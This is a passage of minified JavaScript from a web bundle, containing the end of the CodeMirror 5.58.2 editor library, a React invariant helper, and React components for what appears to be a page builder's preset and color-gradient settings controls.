t=this.cm,n=t.display;x(n.cursorDiv,e.cursors),x(n.selectionDiv,e.selection),null!=e.teTop&&(this.wrapper.style.top=e.teTop+"px",this.wrapper.style.left=e.teLeft+"px")},Ga.prototype.reset=function(e){if(!this.contextMenuPending&&!this.composing){var t=this.cm;if(t.somethingSelected()){this.prevInput="";var n=t.getSelection();this.textarea.value=n,t.state.focused&&F(this.textarea),s&&l>=9&&(this.hasSelection=n)}else e||(this.prevInput=this.textarea.value="",s&&l>=9&&(this.hasSelection=null))}},Ga.prototype.getField=function(){return this.textarea},Ga.prototype.supportsTouch=function(){return!1},Ga.prototype.focus=function(){if("nocursor"!=this.cm.options.readOnly&&(!b||N()!=this.textarea))try{this.textarea.focus()}catch(e){}},Ga.prototype.blur=function(){this.textarea.blur()},Ga.prototype.resetPosition=function(){this.wrapper.style.top=this.wrapper.style.left=0},Ga.prototype.receivedFocus=function(){this.slowPoll()},Ga.prototype.slowPoll=function(){var e=this;this.pollingFast||this.polling.set(this.cm.options.pollInterval,function(){e.poll(),e.cm.state.focused&&e.slowPoll()})},Ga.prototype.fastPoll=function(){var e=!1,t=this;t.pollingFast=!0,t.polling.set(20,function n(){var o=t.poll();o||e?(t.pollingFast=!1,t.slowPoll()):(e=!0,t.polling.set(60,n))})},Ga.prototype.poll=function(){var e=this,t=this.cm,n=this.textarea,o=this.prevInput;if(this.contextMenuPending||!t.state.focused||De(n)&&!o&&!this.composing||t.isReadOnly()||t.options.disableInput||t.state.keySeq)return!1;var r=n.value;if(r==o&&!t.somethingSelected())return!1;if(s&&l>=9&&this.hasSelection===r||y&&/[\uf700-\uf7ff]/.test(r))return t.display.input.reset(),!1;if(t.doc.sel==t.display.selForContextMenu){var i=r.charCodeAt(0);if(8203!=i||o||(o="\u200b"),8666==i)return this.reset(),this.cm.execCommand("undo")}for(var a=0,u=Math.min(o.length,r.length);a<u&&o.charCodeAt(a)==r.charCodeAt(a);)++a;return Qo(t,function(){Pa(t,r.slice(a),o.length-a,null,e.composing?"*compose":null),r.length>1e3||r.indexOf("\n")>-1?n.value=e.prevInput="":e.prevInput=r,e.composing&&(e.composing.range.clear(),e.composing.range=t.markText(e.composing.start,t.getCursor("to"),{className:"CodeMirror-composing"}))}),!0},Ga.prototype.ensurePolled=function(){this.pollingFast&&this.poll()&&(this.pollingFast=!1)},Ga.prototype.onKeyPress=function(){s&&l>=9&&(this.hasSelection=null),this.fastPoll()},Ga.prototype.onContextMenu=function(e){var t=this,n=t.cm,o=n.display,r=t.textarea;t.contextMenuPending&&t.contextMenuPending();var i=lo(n,e),a=o.scroller.scrollTop;if(i&&!p){var c=n.options.resetSelectionOnContextMenu;c&&-1==n.doc.sel.contains(i)&&Zo(n,Qr)(n.doc,Er(i),U);var d,f=r.style.cssText,h=t.wrapper.style.cssText,m=t.wrapper.offsetParent.getBoundingClientRect();if(t.wrapper.style.cssText="position: static",r.style.cssText="position: absolute; width: 30px; height: 30px;\n top: "+(e.clientY-m.top-5)+"px; left: "+(e.clientX-m.left-5)+"px;\n z-index: 1000; background: "+(s?"rgba(255, 255, 255, .05)":"transparent")+";\n outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);",u&&(d=window.scrollY),o.input.focus(),u&&window.scrollTo(null,d),o.input.reset(),n.somethingSelected()||(r.value=t.prevInput=" "),t.contextMenuPending=b,o.selForContextMenu=n.doc.sel,clearTimeout(o.detectingSelectAll),s&&l>=9&&v(),E){Ee(e);var g=function(){me(window,"mouseup",g),setTimeout(b,20)};fe(window,"mouseup",g)}else setTimeout(b,50)}function v(){if(null!=r.selectionStart){var e=n.somethingSelected(),i="\u200b"+(e?r.value:"");r.value="\u21da",r.value=i,t.prevInput=e?"":"\u200b",r.selectionStart=1,r.selectionEnd=i.length,o.selForContextMenu=n.doc.sel}}function b(){if(t.contextMenuPending==b&&(t.contextMenuPending=!1,t.wrapper.style.cssText=h,r.style.cssText=f,s&&l<9&&o.scrollbars.setScrollTop(o.scroller.scrollTop=a),null!=r.selectionStart)){(!s||s&&l<9)&&v();var e=0,i=function(){o.selForContextMenu==n.doc.sel&&0==r.selectionStart&&r.selectionEnd>0&&"\u200b"==t.prevInput?Zo(n,ai)(n):e++<10?o.detectingSelectAll=setTimeout(i,500):(o.selForContextMenu=null,o.input.reset())};o.detectingSelectAll=setTimeout(i,200)}}},Ga.prototype.readOnlyChanged=function(e){e||this.reset(),this.textarea.disabled="nocursor"==e,this.textarea.readOnly=!!e},Ga.prototype.setUneditable=function(){},Ga.prototype.needsContentAttribute=!1,function(e){var t=e.optionHandlers;function n(n,o,r,i){e.defaults[n]=o,r&&(t[n]=i?function(e,t,n){n!=_a&&r(e,t,n)}:r)}e.defineOption=n,e.Init=_a,n("value","",function(e,t){return e.setValue(t)},!0),n("mode",null,function(e,t){e.doc.modeOption=t,xr(e)},!0),n("indentUnit",2,xr,!0),n("indentWithTabs",!1),n("smartIndent",!0),n("tabSize",4,function(e){Pr(e),Vn(e),co(e)},!0),n("lineSeparator",null,function(e,t){if(e.doc.lineSep=t,t){var n=[],o=e.doc.first;e.doc.iter(function(e){for(var r=0;;){var i=e.text.indexOf(t,r);if(-1==i)break;r=i+t.length,n.push(tt(o,i))}o++});for(var r=n.length-1;r>=0;r--)fi(e.doc,t,n[r],tt(n[r].line,n[r].ch+t.length))}}),n("specialChars",/[\u0000-\u001f\u007f-\u009f\u00ad\u061c\u200b-\u200c\u200e\u200f\u2028\u2029\ufeff\ufff9-\ufffc]/g,function(e,t,n){e.state.specialChars=new RegExp(t.source+(t.test("\t")?"":"|\t"),"g"),n!=_a&&e.refresh()}),n("specialCharPlaceholder",Zt,function(e){return e.refresh()},!0),n("electricChars",!0),n("inputStyle",b?"contenteditable":"textarea",function(){throw new Error("inputStyle can not (yet) be changed in a running editor")},!0),n("spellcheck",!1,function(e,t){return e.getInputField().spellcheck=t},!0),n("autocorrect",!1,function(e,t){return e.getInputField().autocorrect=t},!0),n("autocapitalize",!1,function(e,t){return e.getInputField().autocapitalize=t},!0),n("rtlMoveVisually",!k),n("wholeLineUpdateBefore",!0),n("theme","default",function(e){ya(e),hr(e)},!0),n("keyMap","default",function(e,t,n){var o=$i(t),r=n!=_a&&$i(n);r&&r.detach&&r.detach(e,o),o.attach&&o.attach(e,r||null)}),n("extraKeys",null),n("configureMouse",null),n("lineWrapping",!1,Ea,!0),n("gutters",[],function(e,t){e.display.gutterSpecs=pr(t,e.options.lineNumbers),hr(e)},!0),n("fixedGutter",!0,function(e,t){e.display.gutters.style.left=t?io(e.display)+"px":"0",e.refresh()},!0),n("coverGutterNextToScrollbar",!1,function(e){return Vo(e)},!0),n("scrollbarStyle","native",function(e){Uo(e),Vo(e),e.display.scrollbars.setScrollTop(e.doc.scrollTop),e.display.scrollbars.setScrollLeft(e.doc.scrollLeft)},!0),n("lineNumbers",!1,function(e,t){e.display.gutterSpecs=pr(e.options.gutters,t),hr(e)},!0),n("firstLineNumber",1,hr,!0),n("lineNumberFormatter",function(e){return e},hr,!0),n("showCursorWhenSelecting",!1,go,!0),n("resetSelectionOnContextMenu",!0),n("lineWiseCopyCut",!0),n("pasteLinesPerSelection",!0),n("selectionsMayTouch",!1),n("readOnly",!1,function(e,t){"nocursor"==t&&(Oo(e),e.display.input.blur()),e.display.input.readOnlyChanged(t)}),n("screenReaderLabel",null,function(e,t){t=""===t?null:t,e.display.input.screenReaderLabelChanged(t)}),n("disableInput",!1,function(e,t){t||e.display.input.reset()},!0),n("dragDrop",!0,Ca),n("allowDropFileTypes",null),n("cursorBlinkRate",530),n("cursorScrollMargin",0),n("cursorHeight",1,go,!0),n("singleCursorHeightPerLine",!0,go,!0),n("workTime",100),n("workDelay",100),n("flattenSpans",!0,Pr,!0),n("addModeClass",!1,Pr,!0),n("pollInterval",100),n("undoDepth",200,function(e,t){return e.doc.history.undoDepth=t}),n("historyEventDelay",1250),n("viewportMargin",10,function(e){return e.refresh()},!0),n("maxHighlightLength",1e4,Pr,!0),n("moveInputWithCursor",!0,function(e,t){t||e.display.input.resetPosition()}),n("tabindex",null,function(e,t){return e.display.input.getField().tabIndex=t||""}),n("autofocus",null),n("direction","ltr",function(e,t){return e.doc.setDirection(t)},!0),n("phrases",null)}(Oa),function(e){var t=e.optionHandlers,n=e.helpers={};e.prototype={constructor:e,focus:function(){window.focus(),this.display.input.focus()},setOption:function(e,n){var o=this.options,r=o[e];o[e]==n&&"mode"!=e||(o[e]=n,t.hasOwnProperty(e)&&Zo(this,t[e])(this,n,r),ge(this,"optionChange",this,e))},getOption:function(e){return this.options[e]},getDoc:function(){return this.doc},addKeyMap:function(e,t){this.state.keyMaps[t?"push":"unshift"]($i(e))},removeKeyMap:function(e){for(var t=this.state.keyMaps,n=0;n<t.length;++n)if(t[n]==e||t[n].name==e)return t.splice(n,1),!0},addOverlay:er(function(t,n){var o=t.token?t:e.getMode(this.options,t);if(o.startState)throw new Error("Overlays may not be stateful.");!function(e,t,n){for(var o=0,r=n(t);o<e.length&&n(e[o])<=r;)o++;e.splice(o,0,t)}(this.state.overlays,{mode:o,modeSpec:t,opaque:n&&n.opaque,priority:n&&n.priority||0},function(e){return e.priority}),this.state.modeGen++,co(this)}),removeOverlay:er(function(e){for(var t=this.state.overlays,n=0;n<t.length;++n){var o=t[n].modeSpec;if(o==e||"string"==typeof e&&o.name==e)return t.splice(n,1),this.state.modeGen++,void co(this)}}),indentLine:er(function(e,t,n){"string"!=typeof t&&"number"!=typeof t&&(t=null==t?this.options.smartIndent?"smart":"prev":t?"add":"subtract"),Ze(this.doc,e)&&Ta(this,e,t,n)}),indentSelection:er(function(e){for(var t=this.doc.sel.ranges,n=-1,o=0;o<t.length;o++){var r=t[o];if(r.empty())r.head.line>n&&(Ta(this,r.head.line,e,!0),n=r.head.line,o==this.doc.sel.primIndex&&jo(this));else{var i=r.from(),a=r.to(),s=Math.max(n,i.line);n=Math.min(this.lastLine(),a.line-(a.ch?0:1))+1;for(var l=s;l<n;++l)Ta(this,l,e);var u=this.doc.sel.ranges;0==i.ch&&t.length==u.length&&u[o].from().ch>0&&Xr(this.doc,o,new wr(i,u[o].to()),U)}}}),getTokenAt:function(e,t){return yt(this,e,t)},getLineTokens:function(e,t){return yt(this,tt(e),t,!0)},getTokenTypeAt:function(e){e=lt(this.doc,e);var t,n=ft(this,Ke(this.doc,e.line)),o=0,r=(n.length-1)/2,i=e.ch;if(0==i)t=n[2];else for(;;){var a=o+r>>1;if((a?n[2*a-1]:0)>=i)r=a;else{if(!(n[2*a+1]<i)){t=n[2*a+2];break}o=a+1}}var s=t?t.indexOf("overlay "):-1;return s<0?t:0==s?null:t.slice(0,s-1)},getModeAt:function(t){var n=this.doc.mode;return n.innerMode?e.innerMode(n,this.getTokenAt(t).state).mode:n},getHelper:function(e,t){return this.getHelpers(e,t)[0]},getHelpers:function(e,t){var o=[];if(!n.hasOwnProperty(t))return o;var r=n[t],i=this.getModeAt(e);if("string"==typeof i[t])r[i[t]]&&o.push(r[i[t]]);else if(i[t])for(var a=0;a<i[t].length;a++){var s=r[i[t][a]];s&&o.push(s)}else i.helperType&&r[i.helperType]?o.push(r[i.helperType]):r[i.name]&&o.push(r[i.name]);for(var l=0;l<r._global.length;l++){var u=r._global[l];u.pred(i,this)&&-1==V(o,u.val)&&o.push(u.val)}return o},getStateAfter:function(e,t){var n=this.doc;return ht(this,(e=st(n,null==e?n.first+n.size-1:e))+1,t).state},cursorCoords:function(e,t){var n=this.doc.sel.primary();return $n(this,null==e?n.head:"object"==typeof e?lt(this.doc,e):e?n.from():n.to(),t||"page")},charCoords:function(e,t){return Kn(this,lt(this.doc,e),t||"page")},coordsChar:function(e,t){return Jn(this,(e=qn(this,e,t||"page")).left,e.top)},lineAtHeight:function(e,t){return e=qn(this,{top:e,left:0},t||"page").top,Qe(this.doc,e+this.display.viewOffset)},heightAtLine:function(e,t,n){var o,r=!1;if("number"==typeof e){var i=this.doc.first+this.doc.size-1;e<this.doc.first?e=this.doc.first:e>i&&(e=i,r=!0),o=Ke(this.doc,e)}else o=e;return zn(this,o,{top:0,left:0},t||"page",n||r).top+(r?this.doc.height-Ut(o):0)},defaultTextHeight:function(){return no(this.display)},defaultCharWidth:function(){return oo(this.display)},getViewport:function(){return{from:this.display.viewFrom,to:this.display.viewTo}},addWidget:function(e,t,n,o,r){var i,a,s,l=this.display,u=(e=$n(this,lt(this.doc,e))).bottom,c=e.left;if(t.style.position="absolute",t.setAttribute("cm-ignore-events","true"),this.display.input.setUneditable(t),l.sizer.appendChild(t),"over"==o)u=e.top;else if("above"==o||"near"==o){var d=Math.max(l.wrapper.clientHeight,this.doc.height),p=Math.max(l.sizer.clientWidth,l.lineSpace.clientWidth);("above"==o||e.bottom+t.offsetHeight>d)&&e.top>t.offsetHeight?u=e.top-t.offsetHeight:e.bottom+t.offsetHeight<=d&&(u=e.bottom),c+t.offsetWidth>p&&(c=p-t.offsetWidth)}t.style.top=u+"px",t.style.left=t.style.right="","right"==r?(c=l.sizer.clientWidth-t.offsetWidth,t.style.right="0px"):("left"==r?c=0:"middle"==r&&(c=(l.sizer.clientWidth-t.offsetWidth)/2),t.style.left=c+"px"),n&&(i=this,a={left:c,top:u,right:c+t.offsetWidth,bottom:u+t.offsetHeight},null!=(s=xo(i,a)).scrollTop&&Ao(i,s.scrollTop),null!=s.scrollLeft&&Io(i,s.scrollLeft))},triggerOnKeyDown:er(la),triggerOnKeyPress:er(ca),triggerOnKeyUp:ua,triggerOnMouseDown:er(ha),execCommand:function(e){if(Zi.hasOwnProperty(e))return Zi[e].call(null,this)},triggerElectric:er(function(e){La(this,e)}),findPosH:function(e,t,n,o){var r=1;t<0&&(r=-1,t=-t);for(var i=lt(this.doc,e),a=0;a<t&&!(i=Fa(this.doc,i,r,n,o)).hitSide;++a);return i},moveH:er(function(e,t){var n=this;this.extendSelectionsBy(function(o){return n.display.shift||n.doc.extend||o.empty()?Fa(n.doc,o.head,e,t,n.options.rtlMoveVisually):e<0?o.from():o.to()},q)}),deleteH:er(function(e,t){var n=this.doc.sel,o=this.doc;n.somethingSelected()?o.replaceSelection("",null,"+delete"):Xi(this,function(n){var r=Fa(o,n.head,e,t,!1);return e<0?{from:r,to:n.head}:{from:n.head,to:r}})}),findPosV:function(e,t,n,o){var r=1,i=o;t<0&&(r=-1,t=-t);for(var a=lt(this.doc,e),s=0;s<t;++s){var l=$n(this,a,"div");if(null==i?i=l.left:l.left=i,(a=Ia(this,l,r,n)).hitSide)break}return a},moveV:er(function(e,t){var n=this,o=this.doc,r=[],i=!this.display.shift&&!o.extend&&o.sel.somethingSelected();if(o.extendSelectionsBy(function(a){if(i)return e<0?a.from():a.to();var s=$n(n,a.head,"div");null!=a.goalColumn&&(s.left=a.goalColumn),r.push(s.left);var l=Ia(n,s,e,t);return"page"==t&&a==o.sel.primary()&&Po(n,Kn(n,l,"div").top-s.top),l},q),r.length)for(var a=0;a<o.sel.ranges.length;a++)o.sel.ranges[a].goalColumn=r[a]}),findWordAt:function(e){var t=this.doc,n=Ke(t,e.line).text,o=e.ch,r=e.ch;if(n){var i=this.getHelper(e,"wordChars");"before"!=e.sticky&&r!=n.length||!o?++r:--o;for(var a=n.charAt(o),s=ne(a,i)?function(e){return ne(e,i)}:/\s/.test(a)?function(e){return/\s/.test(e)}:function(e){return!/\s/.test(e)&&!ne(e)};o>0&&s(n.charAt(o-1));)--o;for(;r<n.length&&s(n.charAt(r));)++r}return new wr(tt(e.line,o),tt(e.line,r))},toggleOverwrite:function(e){null!=e&&e==this.state.overwrite||((this.state.overwrite=!this.state.overwrite)?D(this.display.cursorDiv,"CodeMirror-overwrite"):T(this.display.cursorDiv,"CodeMirror-overwrite"),ge(this,"overwriteToggle",this,this.state.overwrite))},hasFocus:function(){return this.display.input.getField()==N()},isReadOnly:function(){return!(!this.options.readOnly&&!this.doc.cantEdit)},scrollTo:er(function(e,t){Lo(this,e,t)}),getScrollInfo:function(){var e=this.display.scroller;return{left:e.scrollLeft,top:e.scrollTop,height:e.scrollHeight-Tn(this)-this.display.barHeight,width:e.scrollWidth-Tn(this)-this.display.barWidth,clientHeight:xn(this),clientWidth:Mn(this)}},scrollIntoView:er(function(e,t){null==e?(e={from:this.doc.sel.primary().head,to:null},null==t&&(t=this.options.cursorScrollMargin)):"number"==typeof e?e={from:tt(e,0),to:null}:null==e.from&&(e={from:e,to:null}),e.to||(e.to=e.from),e.margin=t||0,null!=e.from.line?function(e,t){No(e),e.curOp.scrollToPos=t}(this,e):Do(this,e.from,e.to,e.margin)}),setSize:er(function(e,t){var n=this,o=function(e){return"number"==typeof e||/^\d+$/.test(String(e))?e+"px":e};null!=e&&(this.display.wrapper.style.width=o(e)),null!=t&&(this.display.wrapper.style.height=o(t)),this.options.lineWrapping&&Wn(this);var r=this.display.viewFrom;this.doc.iter(r,this.display.viewTo,function(e){if(e.widgets)for(var t=0;t<e.widgets.length;t++)if(e.widgets[t].noHScroll){po(n,r,"widget");break}++r}),this.curOp.forceUpdate=!0,ge(this,"refresh",this)}),operation:function(e){return Qo(this,e)},startOperation:function(){return qo(this)},endOperation:function(){return Ko(this)},refresh:er(function(){var e=this.display.cachedTextHeight;co(this),this.curOp.forceUpdate=!0,Vn(this),Lo(this,this.doc.scrollLeft,this.doc.scrollTop),lr(this.display),(null==e||Math.abs(e-no(this.display))>.5||this.options.lineWrapping)&&so(this),ge(this,"refresh",this)}),swapDoc:er(function(e){var t=this.doc;return t.cm=null,this.state.selectingText&&this.state.selectingText(),Dr(this,e),Vn(this),this.display.input.reset(),Lo(this,e.scrollLeft,e.scrollTop),this.curOp.forceScroll=!0,un(this,"swapDoc",this,t),t}),phrase:function(e){var t=this.options.phrases;return t&&Object.prototype.hasOwnProperty.call(t,e)?t[e]:e},getInputField:function(){return this.display.input.getField()},getWrapperElement:function(){return this.display.wrapper},getScrollerElement:function(){return this.display.scroller},getGutterElement:function(){return this.display.gutters}},_e(e),e.registerHelper=function(t,o,r){n.hasOwnProperty(t)||(n[t]=e[t]={_global:[]}),n[t][o]=r},e.registerGlobalHelper=function(t,o,r,i){e.registerHelper(t,o,i),n[t]._global.push({pred:r,val:i})}}(Oa);var Ua="iter insert remove copy getEditor constructor".split(" ");for(var za in xi.prototype)xi.prototype.hasOwnProperty(za)&&V(Ua,za)<0&&(Oa.prototype[za]=function(e){return function(){return e.apply(this.doc,arguments)}}(xi.prototype[za]));return _e(xi),Oa.inputStyles={textarea:Ga,contenteditable:Ra},Oa.defineMode=function(e){Oa.defaults.mode||"null"==e||(Oa.defaults.mode=e),function(e,t){arguments.length>2&&(t.dependencies=Array.prototype.slice.call(arguments,2)),Ie[e]=t}.apply(this,arguments)},Oa.defineMIME=function(e,t){Re[e]=t},Oa.defineMode("null",function(){return{token:function(e){return e.skipToEnd()}}}),Oa.defineMIME("text/plain","null"),Oa.defineExtension=function(e,t){Oa.prototype[e]=t},Oa.defineDocExtension=function(e,t){xi.prototype[e]=t},Oa.fromTextArea=function(t,n){if((n=n?R(n):{}).value=t.value,!n.tabindex&&t.tabIndex&&(n.tabindex=t.tabIndex),!n.placeholder&&t.placeholder&&(n.placeholder=t.placeholder),null==n.autofocus){var o=N();n.autofocus=o==t||null!=t.getAttribute("autofocus")&&o==e.body}function r(){t.value=l.getValue()}var i;if(t.form&&(fe(t.form,"submit",r),!n.leaveSubmitMethodAlone)){var a=t.form;i=a.submit;try{var s=a.submit=function(){r(),a.submit=i,a.submit(),a.submit=s}}catch(e){}}n.finishInit=function(e){e.save=r,e.getTextArea=function(){return t},e.toTextArea=function(){e.toTextArea=isNaN,r(),t.parentNode.removeChild(e.getWrapperElement()),t.style.display="",t.form&&(me(t.form,"submit",r),n.leaveSubmitMethodAlone||"function"!=typeof t.form.submit||(t.form.submit=i))}},t.style.display="none";var l=Oa(function(e){return t.parentNode.insertBefore(e,t.nextSibling)},n);return l},function(e){e.off=me,e.on=fe,e.wheelEventPixels=yr,e.Doc=xi,e.splitLines=Ne,e.countColumn=B,e.findColumn=K,e.isWordChar=te,e.Pass=G,e.signal=ge,e.Line=Kt,e.changeEnd=Or,e.scrollbarModel=Go,e.Pos=tt,e.cmpPos=nt,e.modes=Ie,e.mimeModes=Re,e.resolveMode=Be,e.getMode=We,e.modeExtensions=Ve,e.extendMode=He,e.copyState=Ge,e.startState=ze,e.innerMode=Ue,e.commands=Zi,e.keyMap=Vi,e.keyName=Ki,e.isModifierKey=zi,e.lookupKey=Ui,e.normalizeKeyMap=Gi,e.StringStream=qe,e.SharedTextMarker=Oi,e.TextMarker=Ci,e.LineWidget=_i,e.e_preventDefault=ke,e.e_stopPropagation=we,e.e_stop=Ee,e.addClass=D,e.contains=L,e.rmClass=T,e.keyNames=Ii}(Oa),Oa.version="5.58.2",Oa}()},function(e,t,n){"use strict";
/**
* Copyright (c) 2013-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/e.exports=function(e,t,n,o,r,i,a,s){if(!e){var l;if(void 0===t)l=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var u=[n,o,r,i,a,s],c=0;(l=new Error(t.replace(/%s/g,function(){return u[c++]}))).name="Invariant Violation"}throw l.framesToPop=1,l}}},function(e,t,n){"use strict";n.d(t,"c",function(){return o}),n.d(t,"s",function(){return r}),n.d(t,"r",function(){return i}),n.d(t,"j",function(){return a}),n.d(t,"v",function(){return s}),n.d(t,"h",function(){return l}),n.d(t,"w",function(){return u}),n.d(t,"i",function(){return c}),n.d(t,"u",function(){return d}),n.d(t,"q",function(){return p}),n.d(t,"t",function(){return f}),n.d(t,"g",function(){return h}),n.d(t,"b",function(){return m}),n.d(t,"a",function(){return g}),n.d(t,"x",function(){return v}),n.d(t,"y",function(){return b}),n.d(t,"z",function(){return y}),n.d(t,"A",function(){return _}),n.d(t,"d",function(){return k}),n.d(t,"f",function(){return w}),n.d(t,"e",function(){return C}),n.d(t,"k",function(){return E}),n.d(t,"n",function(){return O}),n.d(t,"m",function(){return S}),n.d(t,"l",function(){return T}),n.d(t,"o",function(){return M}),n.d(t,"p",function(){return x});var o="et-fb-settings-option-motion",r=o+"__label",i=o+"__range",a=o+"__handler",s=o+"--start-limit",l=o+"--end-limit",u=o+"--start-middle",c=o+"--end-middle",d=o+"--single-middle",p=o+"--is-single-middle",f=o+"__range-wrapper",h=o+"--dragging",m=o+"--at-min-bound",g=o+"--at-max-bound",v=o+"__track",b=o+"__track--lv1",y=o+"__track--lv2",_=o+"__track--lv3",k=o+"__counter",w=o+"__counters",C=o+"__counter--multi",E=o+"__input",O=o+"__input-start",S=o+"__input-middle",T=o+"__input-end",M=o+"__inputs",x=o+"__inputs-list"},function(e,t,n){"use strict";var o=n(2),r=n.n(o),i=n(31),a=n.n(i),s=n(7),l=n.n(s),u=n(8),c=n.n(u),d=n(10),p=n.n(d),f=n(1297),h=n(897),m=n(800),g=n(1),v=n.n(g),b=n(4),y=n.n(b),_=n(37),k=n.n(_),w=n(22),C=n.n(w),E=n(65),O=n.n(E),S=n(11),T=n.n(S),M=n(40),x=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var P=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.onClick=n.onClick.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,v.a.Component),x(t,[{key:"onClick",value:function(e){e.preventDefault(),this.props.onClick(this.props.value)}},{key:"render",value:function(){var e=this.props,t=e.tag,n=e.className,o=e.children;return v.a.createElement(t,{className:n,onClick:this.onClick},o)}}]),t}();P.propTypes={tag:y.a.string.isRequired,className:y.a.string,children:y.a.arrayOf(y.a.node).isRequired,value:y.a.oneOfType([y.a.number,y.a.string,y.a.object,y.a.array]).isRequired,onClick:y.a.func.isRequired},P.defaultProps={className:""};var j=P,L=n(3),N=(n(1383),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var D=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.tag="a",n.classes={icon:"et-fb-preset__icon",title:"et-fb-preset__title",content:"et-fb-preset__content"},n.onClick=n.onClick.bind(n),n.renderPreset=n.renderPreset.bind(n),n.shouldComponentUpdate=k.a.shouldComponentUpdate.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,v.a.Component),N(t,[{key:"onClick",value:function(e){var t=this.props,n=t._onChange,o=t.presets,i=t.name,a=t.type;n(i,e,a);var s=r()(O()(o,{value:e}),"fields",{});T()(s,function(e,t){return n(t,e,"preset_field")})}},{key:"renderTitle",value:function(e){return l()(e)?null:v.a.createElement("span",{className:this.classes.title},e)}},{key:"renderIcon",value:function(e){return l()(e)?null:v.a.createElement("span",{className:this.classes.icon},v.a.createElement(M.a,{icon:e}))}},{key:"renderContent",value:function(e){return l()(e)?null:v.a.createElement("span",{className:this.classes.content,dangerouslySetInnerHTML:{__html:e}})}},{key:"renderPreset",value:function(e,t){var n=e.title,o=e.icon,r=e.content,i=e.value,a=C()({"et-fb-preset":!0,"et-fb-preset--active":i===this.props.value});return v.a.createElement(j,{tag:this.tag,className:a,key:t,value:i,onClick:this.onClick},this.renderTitle(n),this.renderIcon(o),this.renderContent(r))}},{key:"render",value:function(){return v.a.createElement("div",{className:"et-fb-preset-container"},this.props.presets.map(this.renderPreset))}}]),t}();D.propTypes={name:y.a.string.isRequired,value:y.a.string.isRequired,presets:y.a.arrayOf(y.a.object).isRequired,_onChange:y.a.func.isRequired};var A=D,F=n(1079),I=n(44),R=n.n(I),B=n(32),W=n.n(B),V=n(113),H=n.n(V),G=n(74),U=n.n(G),z=n(19),q=n(0),K=n(131),$=n(986),X=(n(1384),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),Y=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function J(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Q(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";return z.d.getI18n(e,t)}var Z=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.state={colorPicker:!1},n.edges=["colorStart","colorEnd"],n.colorPickerLastActive="colorStart",n._classNameBase="et-fb-settings-option-color-gradient",n._wrapperRef=v.a.createRef(),n._onClickButton=n._onClickButton.bind(n),n._onClickPreviewCanvas=n._onClickPreviewCanvas.bind(n),n._onClickPreviewAddButton=n._onClickPreviewAddButton.bind(n),n._onClickPreviewRemoveButton=n._onClickPreviewRemoveButton.bind(n),n._onClickPreviewSwapButton=n._onClickPreviewSwapButton.bind(n),n._onClickPreviewResetButton=n._onClickPreviewResetButton.bind(n),n._onChangeColorPicker=n._onChangeColorPicker.bind(n),n._onClearColorPicker=n._onClearColorPicker.bind(n),n._onCloseColorPicker=n._onCloseColorPicker.bind(n),n._setColorPickerState=n._setColorPickerState.bind(n),n._onSelectColorManagerPalette=n._onSelectColorManagerPalette.bind(n),n._onMouseEnterPreview=n._onMouseEnterPreview.bind(n),n._onMouseLeavePreview=n._onMouseLeavePreview.bind(n),n._onMouseEnterButton=n._onMouseEnterButton.bind(n),n._onMouseLeaveButton=n._onMouseLeaveButton.bind(n),n._emitChange=n._emitChange.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,g["PureComponent"]),Y(t,[{key:"_onClickButton",value:function(e){e.preventDefault();var 